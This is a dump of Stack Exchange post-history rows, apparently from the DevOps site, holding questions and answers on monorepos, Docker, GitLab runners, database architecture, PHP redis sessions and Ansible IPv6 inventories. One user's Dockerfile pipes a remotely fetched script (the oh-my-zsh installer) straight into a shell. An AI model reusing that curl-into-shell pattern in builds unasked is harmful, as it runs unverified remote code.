  <row Id="12691" PostHistoryTypeId="5" PostId="4050" RevisionGUID="b354a120-b0e7-4de3-a25c-c0eb72443494" CreationDate="2018-05-04T07:38:30.937" UserId="786" Comment="wording, added link" Text="DevOps fundamentally is an arbitrage play: it exploits the idea that if the things you are developing and operating are known to be stateless and immutable and ephemeral you can move very quickly, because there are a bunch of things you just don't need to do. And this is true, you can, and you don't.&#xD;&#xA;&#xD;&#xA;But &quot;traditional&quot; IT is _all about_ managing statefulness and controlling the transitions between states (or &quot;mutation&quot; if you prefer). A database server, a file server. A database server for example: once you have made changes to a schema and data has gone in, you can no longer &quot;roll back&quot; because you probably have nowhere you can put that data that satisfies the constraints of all the stakeholders. If the database server goes down you can't just spin up a new one, it has to be _exactly the same_ to the greatest extent possible, and you need to have a plan for resolving the deltas. [DevOps doesn't really address][1] this and even worse, the typical DevOps pitch includes some jabs at &quot;traditional&quot; IT for being slow and obsolete, without any acknowledgement that maybe there were reasons for things to be done the &quot;old fashioned&quot; way other than the practitioners being dinosaurs.&#xD;&#xA;&#xD;&#xA;What that sounds like to a stakeholder is that DevOps people are willing to take risks with the company's most precious assets - customer records, accounts, inventory control, all the other things that typically reside in the stateful parts of the technology infrastructure. Therefore to work with and bring on board skeptics the very first thing you must do is convince them that you have mitigated all the risks of operating the stateful parts of the infrastructure in a DevOps fashion. &#xD;&#xA;&#xD;&#xA;I will wager that some variation on this theme is the root cause of [TSB's woes at the time of writing][2]. They failed to exercise sufficient care with the stateful parts of their system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.theregister.co.uk/2018/04/24/devops_dba_work/&#xD;&#xA;  [2]: https://www.theregister.co.uk/2018/05/03/tsbs_middleware_nightmare_execs_grilled_by_mps/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12692" PostHistoryTypeId="2" PostId="4053" RevisionGUID="9db6639b-d32f-4f6f-aa35-28ab7aa6861d" CreationDate="2018-05-04T07:46:08.773" UserId="786" Text="The answer is: a bit of both. To satisfy the constraints of &quot;use git&quot; and &quot;manage a vast codebase&quot; Microsoft [developed a new filesystem][1] (previously they were using a variant of Perforce called SourceDepot). It's [open source][2] but I have no personal experience of using it. &#xD;&#xA;&#xD;&#xA;Why would you want a monorepo? The most obvious reason is that you can modify an API and all the callers of that API in an atomic commit. Also there are advantages to being able to do a `git log` search across the entire codebase...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blogs.msdn.microsoft.com/devops/2017/02/03/announcing-gvfs-git-virtual-file-system/&#xD;&#xA;  [2]: https://github.com/Microsoft/gvfs" ContentLicense="CC BY-SA 4.0" />
  <row Id="12696" PostHistoryTypeId="2" PostId="4055" RevisionGUID="5f72d6f3-73d0-4e74-abae-d43b2abaaf54" CreationDate="2018-05-04T14:50:23.817" UserId="47" Text="If I understand it correctly the &quot;need&quot; for a monorepo is simply the fundamental need of a single/coherent versioning scheme applied to a software project containing multiple loosely-related components/sub-projects which are/could be otherwise managed/versioned independently in separate repositories.&#xD;&#xA;&#xD;&#xA;Similar, if you want, with the need of using a regular source repository to provide a single/coherent versioning scheme for a multitude of source files, each with their own, independent modification history.&#xD;&#xA;&#xD;&#xA;Using an actual monorepo solution is definitely one, but IMHO not the only way of addressing this need.&#xD;&#xA;&#xD;&#xA;Another possible approach is using an umbrella project repository containing one or more manifest files with the exact version of each of the individual project component repositories. &#xD;&#xA;&#xD;&#xA;Even if the component repositories have their versions modified by independent, non-atomic commits, the project itself can be managed coherently simply by combining all related component repository version changes into a single commit to the manifest file(s) in the umbrella repository.&#xD;&#xA;&#xD;&#xA;Such approach has several advantages over migrating to an actual monorepo solution:&#xD;&#xA;&#xD;&#xA;- no need to change the existing component repositories&#xD;&#xA;- can support mixes of components with different repository technologies&#xD;&#xA;- each component repository can still be developed and managed independently&#xD;&#xA;- adding/deleting project components is almost trivial&#xD;&#xA;- integrating 3rd party (upstream) components is a whole lot easier&#xD;&#xA;- the project history can be kept much cleaner, not polluted with all the details of each individual component repository change (which typically would be irrelevant for the other components)&#xD;&#xA;- no need to worry about size/performance/scalability of a single repository, the solution itself is highly scalable." ContentLicense="CC BY-SA 4.0" />
  <row Id="12697" PostHistoryTypeId="2" PostId="4056" RevisionGUID="f9aef336-3c4f-43f4-b6da-2d7867bc6059" CreationDate="2018-05-04T15:29:32.150" UserId="7691" Text="I’ve got an AWS gitlab instance successfully doing CI with gitlab-runners running under vagrant on my local dev machine. I’d like to move the runners off my machine and onto a standalone server...&#xD;&#xA;&#xD;&#xA;I’ve put Rancher on a box and can get the gitlab runner installed, but I can’t get my head around how to not do docker-in-docker, or whether this actually matters. &#xD;&#xA;&#xD;&#xA;My understanding is that unless I do `_some_configuration_I_don’t_know_` that Rancher runs the gitlab-runner as a Docker container, and the gitlab runner will in turn start a docker container inside itself to run my CI test environment as specified in the `.gitlab-ci.yml`&#xD;&#xA;&#xD;&#xA;Is there a way to get the gitlab-runner to tell Rancher to start the CI test environment instead?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12698" PostHistoryTypeId="1" PostId="4056" RevisionGUID="f9aef336-3c4f-43f4-b6da-2d7867bc6059" CreationDate="2018-05-04T15:29:32.150" UserId="7691" Text="Rancher &amp; gitlab-runner - is there a way to get the gitlab-runner to tell Rancher to start the CI test environment instead?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12699" PostHistoryTypeId="3" PostId="4056" RevisionGUID="f9aef336-3c4f-43f4-b6da-2d7867bc6059" CreationDate="2018-05-04T15:29:32.150" UserId="7691" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12703" PostHistoryTypeId="2" PostId="4058" RevisionGUID="ee25789f-c858-4a6b-bff6-47b26f1b8e31" CreationDate="2018-05-04T16:02:10.183" UserId="7695" Text="Due to a combination of business/enterprise requirements and our architect's preferences we have arrived at a particular architecture that seems a bit off to me, but I have very limited architectural knowledge and even less cloud knowledge, so I would love a sanity check to see if there's improvement that can be made here:&#xD;&#xA;&#xD;&#xA;Background: We are developing a replacement for an existing system that is a complete rewrite from the ground up.  This requires us to source data from an SAP instance through BAPI/SOAP Web Services, as well as use some databases of our own for data not in SAP.  Currently all of the data that we will be managing exists in local DBs on a distributed application, or in a MySQL database that will need to be migrated off of.  We will need to create a handful of web applications that replicate the functionality of the existing distributed app, as well as providing admin related functionality over the data we control. &#xD;&#xA;&#xD;&#xA;Business/Enterprise Requirements:&#xD;&#xA;&#xD;&#xA; - Any databases we control must be implemented in MS SQL Server&#xD;&#xA;&#xD;&#xA; - Minimize the number of databases created&#xD;&#xA;&#xD;&#xA; - Phase 1 will have us deploy our applications to Azure, but we need the ability to bring these applications on-prem in the future&#xD;&#xA;&#xD;&#xA; - Our Ops team wants us to dockerize everything as they feel it will make their management of the code a lot simpler.&#xD;&#xA;&#xD;&#xA; - Minimze/eliminate replication of data&#xD;&#xA;&#xD;&#xA; - The coding stack is going to be .NET Core for microservices and Admin apps, but Angular 5 for the main front-end application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From these requirements our architect came up with this design:&#xD;&#xA;[![Main Architecture][1]][1]&#xD;&#xA;&#xD;&#xA;Our front-ends will feed from a series of microservices (I use that term lightly as they are 'Domain' level and rather large), which will be broken into Read Services and Write Services in each domain.  Both will be scalable and load balanced through Kubernetes.  Each will also have a read-only copy of their database attached to them within their container, with a single master instance of the db available for writes that will push out updates to those read only copies.  &#xD;&#xA;&#xD;&#xA;[![container architecture][2]][2]&#xD;&#xA;[![Read-write architecture][3]][3]&#xD;&#xA;&#xD;&#xA;(Sorry for the poor quality images, I'm redoing them from memory since, naturally, there's no actual documentation for this stuff except in the architect's head)&#xD;&#xA;&#xD;&#xA;Service to Service communication will happen through a message queue that each service will listen to, and process any relevant messages.  The primary use of this will be for email generation, as there isn't anything else we've identified that requires service to service communication for information yet.  Anything &quot;business logic&quot; related that would require multiple services being involved would likely flow from the front-ends, where the front-ends would call each service individually and deal with atomicity.&#xD;&#xA;&#xD;&#xA;From my perspective, the thing that rubs me the wrong way is the read-only db instances spinning up inside the docker containers for the services.  The service itself and the db would have drastically different demands in terms of load, so it would make a lot more sense if we could load balance them separately.  I believe MYSQL has a way of doing that with master/slave configurations, where new slaves can be spun up whenever load gets high.  Especially while we have our system in the cloud and are paying for each instance, spinning up a new instance of the whole service when we only need another db instance seems wasteful (as does the opposite, spinning up a new db copy when we really just need a web service instance).  However, I don't know the limitations of MS SQL Server for this.&#xD;&#xA;&#xD;&#xA;My largest concern is around the MS SQL Server implementation.  Coupling the read only instances so tightly to the services feels wrong.  Is there a better way to do this?&#xD;&#xA;&#xD;&#xA;NOTE: I asked this over on software engineering and they pointed me here.  Sorry if this is not the appropriate SE.&#xD;&#xA;&#xD;&#xA;Also there's no MS SQL Server tag&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/yNeYX.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/QSi8Q.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/kWexl.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="12704" PostHistoryTypeId="1" PostId="4058" RevisionGUID="ee25789f-c858-4a6b-bff6-47b26f1b8e31" CreationDate="2018-05-04T16:02:10.183" UserId="7695" Text="Is this an appropriate architecture, or can improvements be made?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12705" PostHistoryTypeId="3" PostId="4058" RevisionGUID="ee25789f-c858-4a6b-bff6-47b26f1b8e31" CreationDate="2018-05-04T16:02:10.183" UserId="7695" Text="&lt;azure&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12706" PostHistoryTypeId="50" PostId="3353" RevisionGUID="5afbf725-d012-488c-8e2a-d91efa53d8a1" CreationDate="2018-05-04T18:36:50.673" UserId="-1" />
  <row Id="12707" PostHistoryTypeId="50" PostId="3798" RevisionGUID="d4667ff2-0a8b-4eb7-9d16-cd887cc26f00" CreationDate="2018-05-04T19:36:50.843" UserId="-1" />
  <row Id="12710" PostHistoryTypeId="50" PostId="3536" RevisionGUID="5ea2a4cf-a7b8-4017-a16a-f2032e7fb3a9" CreationDate="2018-05-04T21:37:33.257" UserId="-1" />
  <row Id="12711" PostHistoryTypeId="5" PostId="4052" RevisionGUID="017a1cf1-36b1-4ddf-a649-5ff444b70c9f" CreationDate="2018-05-05T09:37:01.770" UserId="6375" Comment="Format content" Text="I am getting this error while loading ***index.php*** file.&#xD;&#xA;&#xD;&#xA;&gt; **Warning:** session_start(): Cannot find save handler 'redis' - session startup failed in /var/www/html/index.php on line 2&#xD;&#xA;&#xD;&#xA;My index.php code looks like below:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    session_start();&#xD;&#xA;    $_SESSION['count']=(isset($_SESSION['count']))?$_SESSION['count']+1:1;&#xD;&#xA;    $json['time ']= date(' Y-m-d H:i:s');&#xD;&#xA;    $json['ip ']=$_SERVER['REMOTE_ADDR'];&#xD;&#xA;    $json['count '] = $_SESSION['count'];&#xD;&#xA;    echo json_encode($json);&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;My dockerfile is like below:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    FROM php:7.1-fpm-alpine&#xD;&#xA;    &#xD;&#xA;    RUN apk update; \&#xD;&#xA;        apk upgrade;&#xD;&#xA;    &#xD;&#xA;    RUN apk add --update \&#xD;&#xA;    		autoconf \&#xD;&#xA;    		g++ \&#xD;&#xA;    		libtool \&#xD;&#xA;                    make&#xD;&#xA;    &#xD;&#xA;    RUN pecl install -o -f redis \&#xD;&#xA;    &amp;&amp;  rm -rf /tmp/pear \&#xD;&#xA;    &amp;&amp;  docker-php-ext-enable redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # For easy navigating add oh my zsh and it's deps&#xD;&#xA;    RUN apk -q add curl \&#xD;&#xA;        zsh \&#xD;&#xA;        nano \&#xD;&#xA;        git; \&#xD;&#xA;        sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)&quot;; \&#xD;&#xA;        sed -i s^ZSH_THEME=\&quot;robbyrussell\&quot;^ZSH_THEME=\&quot;blinks\&quot;^g ~/.zshrc;&#xD;&#xA;    &#xD;&#xA;    # Install Composer&#xD;&#xA;    RUN php -r &quot;copy('https://getcomposer.org/installer', 'composer-setup.php');&quot;; \&#xD;&#xA;        php -r &quot;if (hash_file('SHA384', 'composer-setup.php') === '544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;&quot;; \&#xD;&#xA;        php composer-setup.php; \&#xD;&#xA;        php -r &quot;unlink('composer-setup.php');&quot;; \&#xD;&#xA;        echo 'alias composer=&quot;php /var/www/html/composer.phar&quot; &gt; ~/.zshrc';&#xD;&#xA;&#xD;&#xA;My php.ini file is like below:&#xD;&#xA;&#xD;&#xA;    session.save_handler = redis&#xD;&#xA;    session.save_path = tcp://192.168.0.24:6379&#xD;&#xA;&#xD;&#xA;Redis.conf file has a below entry:&#xD;&#xA;&#xD;&#xA;    bind 127.0.0.1 192.168.0.24&#xD;&#xA;&#xD;&#xA;My redis dockerfile is like below:&#xD;&#xA;&#xD;&#xA;    FROM redis:3.2-alpine&#xD;&#xA;    &#xD;&#xA;    COPY conf/redis.conf /usr/local/etc/redis/redis.conf&#xD;&#xA;    CMD [ &quot;redis-server&quot;, &quot;/usr/local/etc/redis/redis.conf&quot; ]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 6379&#xD;&#xA;&#xD;&#xA;If I need to provide more details please let me know.&#xD;&#xA;&#xD;&#xA;What could be the problem here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12712" PostHistoryTypeId="4" PostId="4052" RevisionGUID="017a1cf1-36b1-4ddf-a649-5ff444b70c9f" CreationDate="2018-05-05T09:37:01.770" UserId="6375" Comment="Format content" Text="Can not find save handler 'redis' - session startup failed - for PHP" ContentLicense="CC BY-SA 4.0" />
  <row Id="12713" PostHistoryTypeId="24" PostId="4052" RevisionGUID="017a1cf1-36b1-4ddf-a649-5ff444b70c9f" CreationDate="2018-05-05T09:37:01.770" Comment="Proposed by 6375 approved by 7683 edit id of 688" ContentLicense="CC BY-SA 4.0" />
  <row Id="12714" PostHistoryTypeId="2" PostId="4059" RevisionGUID="047e6234-3af4-44a3-8eea-e7498bc00333" CreationDate="2018-05-05T17:12:32.350" UserId="960" Text="&gt; My largest concern is around the MS SQL Server implementation. Coupling the read only instances so tightly to the services feels wrong. Is there a better way to do this?&#xD;&#xA;&#xD;&#xA;Essentially what you have designed is a caching system - the service containers have a local copy of the data presumably so that for reads they don't have to make an extra network trip.&#xD;&#xA;&#xD;&#xA;As you've pointed out, a more standard approach is to have a cluster of read replicas that all of the containers can read from.  This allows you to scale them separately from the application servers, which is good, because they generally need different things (do you really want to allocate large amounts of RAM to every application container?).  This will add network calls for database reads, but until that's proven to be an issue I wouldn't complicate the architecture to solve it.&#xD;&#xA;&#xD;&#xA;If it *does* become an issue, a much more lightweight way of handling the problem is to run an actual cache locally, like memcache or redis.  You can tune the TTLs on individual objects to be appropriate, and it will automatically drop off rarely-requested data to keep the application server light." ContentLicense="CC BY-SA 4.0" />
  <row Id="12715" PostHistoryTypeId="2" PostId="4060" RevisionGUID="3a51dc4e-e34c-48e5-9bbd-301d23873c7f" CreationDate="2018-05-05T17:23:21.737" UserId="960" Text="Git works for monorepos, but it has a few problems:&#xD;&#xA;&#xD;&#xA;1. You have to check out the entire repo.&#xD;&#xA;1. You have to fetch the entire history (generally - shallow clones are an option, but usually not useful in actual development work).&#xD;&#xA;1. Natively, everyone has read+write access to every directory if they have it at all.&#xD;&#xA;&#xD;&#xA;Google, probably the most famous monorepo user, developed [Piper](https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext) to handle their needs.  But you aren't Google, and so their solutions are probably not yours.&#xD;&#xA;&#xD;&#xA;One of the key advantages to a monorepo is that you can make globally-atomic changes (i.e. you don't need to version many things because you can change the caller and the callee in the same commit).  To power this, you really want to have a unified build system that tracks dependencies across the entire repo.  [Bazel](https://bazel.build/) is an open-source extraction of Google's build system, Blaze, and it attempts to do that (although it's young and immature and missing a lot of features that are necessary for non-Google use).  [Pants](https://www.pantsbuild.org/) is a similar system out of Twitter.&#xD;&#xA;&#xD;&#xA;If you're building tons of code when you make such an atomic change, then you probably also want a build farm that allows you to do that not on your local machine.  Similarly, you'll need a powerful CI system to handle running tests across everything as you update." ContentLicense="CC BY-SA 4.0" />
  <row Id="12716" PostHistoryTypeId="2" PostId="4061" RevisionGUID="e38a1054-fe55-4e18-9984-8b4d66228266" CreationDate="2018-05-05T17:31:30.630" UserId="960" Text="Rather than solving the immediate problem you're having, let me suggest an alternative solution to your actual problem:&#xD;&#xA;&#xD;&#xA;&gt;  I need screen, so I can use multiple interactive shells in one instance of Docker. If I run multiple Docker instances, each takes 1G of RAM, so 10+ instances will kill my RAM.&#xD;&#xA;&#xD;&#xA;Run screen (or tmux, but screen if you insist) locally on your workstation.  Start up your docker container, and in the windows where you want to do something on the container, use `docker exec -it &lt;container-id&gt; bash` to get a new interactive shell on the container.  This will be much simpler than running screen inside the container, and allows you to also have windows running commands on your workstation.&#xD;&#xA;&#xD;&#xA;You may also want to look into using [Vagrant](https://www.vagrantup.com/) with [the Docker provider](https://www.vagrantup.com/docs/docker/) to simplify the process of doing development on a Docker container." ContentLicense="CC BY-SA 4.0" />
  <row Id="12717" PostHistoryTypeId="2" PostId="4062" RevisionGUID="ab9ffd58-bc2e-45e5-8edb-ad03e1b138a0" CreationDate="2018-05-05T20:07:35.050" UserId="7703" Text="`Docker version 18.03.1-ce, build 9ee9f40`&#xD;&#xA;&#xD;&#xA;I am trying to increase the docker container sizing on Ubuntu 16.04.&#xD;&#xA;&#xD;&#xA;I have created the following file at `/etc/docker/daemon.json`&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;storage-opts&quot;: [&quot;dm.basesize=20G&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However when I `sudo service docker start`&#xD;&#xA;I get: `Job for docker.service failed because the control process exited with error code. See &quot;systemctl status docker.service&quot; and &quot;journalctl -xe&quot; for details.`&#xD;&#xA;&#xD;&#xA;If I remove `/etc/docker/daemon.json` then docker can start.&#xD;&#xA;&#xD;&#xA;Inspecting the recommended logs yields&#xD;&#xA;&#xD;&#xA;    systemctl status docker.service&#xD;&#xA;    ● docker.service - Docker Application Container Engine&#xD;&#xA;       Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)&#xD;&#xA;       Active: inactive (dead) (Result: exit-code) since Sat 2018-05-05 12:58:26 PDT; 4min 35s ago&#xD;&#xA;         Docs: https://docs.docker.com&#xD;&#xA;      Process: 3047 ExecStart=/usr/bin/dockerd -H fd:// (code=exited, status=1/FAILURE)&#xD;&#xA;     Main PID: 3047 (code=exited, status=1/FAILURE)&#xD;&#xA;    &#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Main process exited, code=exited, status=1/FAILURE&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: Failed to start Docker Application Container Engine.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Unit entered failed state.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Failed with result 'exit-code'.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Service hold-off time over, scheduling restart.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: Stopped Docker Application Container Engine.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Start request repeated too quickly.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: Failed to start Docker Application Container Engine.&#xD;&#xA;&#xD;&#xA;    journalctl -xe&#xD;&#xA;    --&#xD;&#xA;    -- Unit docker.socket has begun starting up.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: Listening on Docker Socket for the API.&#xD;&#xA;    -- Subject: Unit docker.socket has finished start-up&#xD;&#xA;    -- Defined-By: systemd&#xD;&#xA;    -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xD;&#xA;    --&#xD;&#xA;    -- Unit docker.socket has finished starting up.&#xD;&#xA;    --&#xD;&#xA;    -- The start-up result is done.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.service: Start request repeated too quickly.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: Failed to start Docker Application Container Engine.&#xD;&#xA;    -- Subject: Unit docker.service has failed&#xD;&#xA;    -- Defined-By: systemd&#xD;&#xA;    -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&#xD;&#xA;    --&#xD;&#xA;    -- Unit docker.service has failed.&#xD;&#xA;    --&#xD;&#xA;    -- The result is failed.&#xD;&#xA;    May 05 12:58:26 stage systemd[1]: docker.socket: Unit entered failed state.&#xD;&#xA;    May 05 13:01:16 stage sudo[3069]:      mjb : TTY=pts/0 ; PWD=/var/www/app ; USER=root ; COMMAND=/bin/cat /etc/docker/daemon.json&#xD;&#xA;    May 05 13:01:16 stage sudo[3069]: pam_unix(sudo:session): session opened for user root by mjb(uid=0)&#xD;&#xA;    May 05 13:01:16 stage sudo[3069]: pam_unix(sudo:session): session closed for user root&#xD;&#xA;&#xD;&#xA;How can I increase the default `dm.basesize` of Docker on Ubuntu such that, when I start docker using the command `sudo service docker start` it starts and has an increased `dm.basesize`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12718" PostHistoryTypeId="1" PostId="4062" RevisionGUID="ab9ffd58-bc2e-45e5-8edb-ad03e1b138a0" CreationDate="2018-05-05T20:07:35.050" UserId="7703" Text="Cannot Change Docker Size on Ubuntu 16.04" ContentLicense="CC BY-SA 4.0" />
  <row Id="12719" PostHistoryTypeId="3" PostId="4062" RevisionGUID="ab9ffd58-bc2e-45e5-8edb-ad03e1b138a0" CreationDate="2018-05-05T20:07:35.050" UserId="7703" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12720" PostHistoryTypeId="2" PostId="4063" RevisionGUID="7bcbe5c6-3e06-4590-bc18-9dd693346809" CreationDate="2018-05-06T03:14:07.597" UserId="7707" Text="This article, or series of articles, walks through setting up a CI/CD pipeline for DSC using VSTS (Visual Studio Team Services).  Building a VSTS account in Azure is free and it provides some number of build minutes for free as well.&#xD;&#xA;&#xD;&#xA;[https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/][1]&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Steve Correia&#xD;&#xA;&#xD;&#xA;tumtum73&#xD;&#xA;&#xD;&#xA;  [1]: https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12721" PostHistoryTypeId="50" PostId="3816" RevisionGUID="360a6814-81d0-4299-9d18-04fae31ee082" CreationDate="2018-05-06T19:45:18.897" UserId="-1" />
  <row Id="12725" PostHistoryTypeId="2" PostId="4065" RevisionGUID="1eb60a7d-a34c-4a88-81af-b74c3af549a1" CreationDate="2018-05-07T05:54:32.400" UserId="3427" Text="I have a machine, that is accessible via ipv6 only. It is setup for ssh with rsa key. Now I'd like to manage it with ansible. Unfortunately, this is not covered in the [inventory documentation](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html). &#xD;&#xA;&#xD;&#xA;So I tried the following permutations:&#xD;&#xA;&#xD;&#xA;* `docker_test ansible_host=fe80::88ea:e002:b409:4be0`&#xD;&#xA;* `docker_test ansible_host=[fe80::88ea:e002:b409:4be0]`&#xD;&#xA;* `docker_test ansible_host=\[fe80::88ea:e002:b409:4be0\]`&#xD;&#xA;&#xD;&#xA;None of this worked out.&#xD;&#xA;&#xD;&#xA;For comparison I add my `.ssh/config` entry:&#xD;&#xA;&#xD;&#xA;    Host docker_host&#xD;&#xA;	    AddressFamily inet6&#xD;&#xA;    	HostName fe80::88ea:e002:b409:4be0&#xD;&#xA;	    BindAddress fe80::3e6b:335a:d2f7:3a75%enp3s0&#xD;&#xA;&#xD;&#xA;I found two closed bug in the issue tracking system,which indicate the problem being at least partially solved: [3879](https://github.com/ansible/ansible/issues/3879), [3888](https://github.com/ansible/ansible/issues/3888)&#xD;&#xA;&#xD;&#xA;Any advise on this topic is highly appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="12726" PostHistoryTypeId="1" PostId="4065" RevisionGUID="1eb60a7d-a34c-4a88-81af-b74c3af549a1" CreationDate="2018-05-07T05:54:32.400" UserId="3427" Text="How to notate ipv6 addresses in inventory file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12727" PostHistoryTypeId="3" PostId="4065" RevisionGUID="1eb60a7d-a34c-4a88-81af-b74c3af549a1" CreationDate="2018-05-07T05:54:32.400" UserId="3427" Text="&lt;ansible&gt;&lt;inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12728" PostHistoryTypeId="6" PostId="4065" RevisionGUID="81253b9f-54cf-47de-b7b0-e5b184cae803" CreationDate="2018-05-07T06:07:24.493" UserId="3427" Comment="edited tags" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12729" PostHistoryTypeId="5" PostId="4063" RevisionGUID="89a9869d-aef9-4c8b-bca2-8fb1e1727823" CreationDate="2018-05-07T10:47:15.477" UserId="7707" Comment="added 178 characters in body" Text="This article, or series of articles, walks through setting up a CI/CD pipeline for DSC using VSTS (Visual Studio Team Services).  Building a VSTS account in Azure is free and it provides some number of build minutes for free as well.&#xD;&#xA;&#xD;&#xA;[https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/][1]&#xD;&#xA;&#xD;&#xA;Basically, rather than setting up a runbook, you can configure a CI/CD pipeline using build services in VSTS to perform whatever orchestration activities you require for DSC and VSTS enables you to save your code in their source control management system.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Steve Correia&#xD;&#xA;&#xD;&#xA;tumtum73&#xD;&#xA;&#xD;&#xA;  [1]: https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12737" PostHistoryTypeId="2" PostId="4068" RevisionGUID="2ae768fa-f7ec-4654-8215-fefe0f28446b" CreationDate="2018-05-07T18:40:35.173" UserId="7730" Text="The only log message there is &quot;Start request repeated too quickly.&quot; so we're missing the beginning of the error. You can run as root `systemctl reset-failed` and then `systemctl start docker` followed by `journalctl -u docker --no-pager -n 50` to show the last 50 lines of logs.&#xD;&#xA;&#xD;&#xA;Most likely, your problem is that your storage driver is not device mapper, and this option only applies to device mapper. On an 18.03 install, ubuntu will be overlay2 with a recent enough kernel, or possibly aufs on older kernels. Without using the device mapper storage driver, you should not be setting that option." ContentLicense="CC BY-SA 4.0" />
  <row Id="12738" PostHistoryTypeId="50" PostId="3575" RevisionGUID="f6581724-735a-405d-a556-6e114746ae06" CreationDate="2018-05-07T19:49:34.327" UserId="-1" />
  <row Id="12739" PostHistoryTypeId="2" PostId="4069" RevisionGUID="981d601e-d451-4b91-ad83-30d86a494b64" CreationDate="2018-05-07T20:41:02.130" UserId="7731" Text="I'm looking for a way to pithily define a abstract term that declares all versions that a bug effects, or that a feature behaved a certain way.  For example, feature X worked way Y in versions 1.3 to 1.5, but then they changed it.  I thought of calling 1.3 to 1.5 a &quot;version span&quot;, but wondered if there was some common terminology that I would not have to explain all the time to everyone? &#xD;&#xA;&#xD;&#xA;This could get more complicated for bug fixes that are done on different minor versions of multiple major versions.  For example, a bug that was first introduced in 1.4 and fixed in versions 1.6 and 2.2.  2.1 also exhibits the bug because 2.1 branched from 1.4.  So now you have a &quot;version span&quot; of 1.4 - 1.6 &amp; 2.1 and all their patch versions and build versions etc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="12740" PostHistoryTypeId="1" PostId="4069" RevisionGUID="981d601e-d451-4b91-ad83-30d86a494b64" CreationDate="2018-05-07T20:41:02.130" UserId="7731" Text="Is there a common name for describing &quot;spans&quot; of versions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12741" PostHistoryTypeId="3" PostId="4069" RevisionGUID="981d601e-d451-4b91-ad83-30d86a494b64" CreationDate="2018-05-07T20:41:02.130" UserId="7731" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12742" PostHistoryTypeId="50" PostId="2412" RevisionGUID="8e03dd7a-944e-41ab-b48d-c8c06ae26370" CreationDate="2018-05-07T20:50:23.067" UserId="-1" />
  <row Id="12744" PostHistoryTypeId="50" PostId="3253" RevisionGUID="81bdf77d-a643-44d4-8416-9c12d553c792" CreationDate="2018-05-07T21:51:14.867" UserId="-1" />
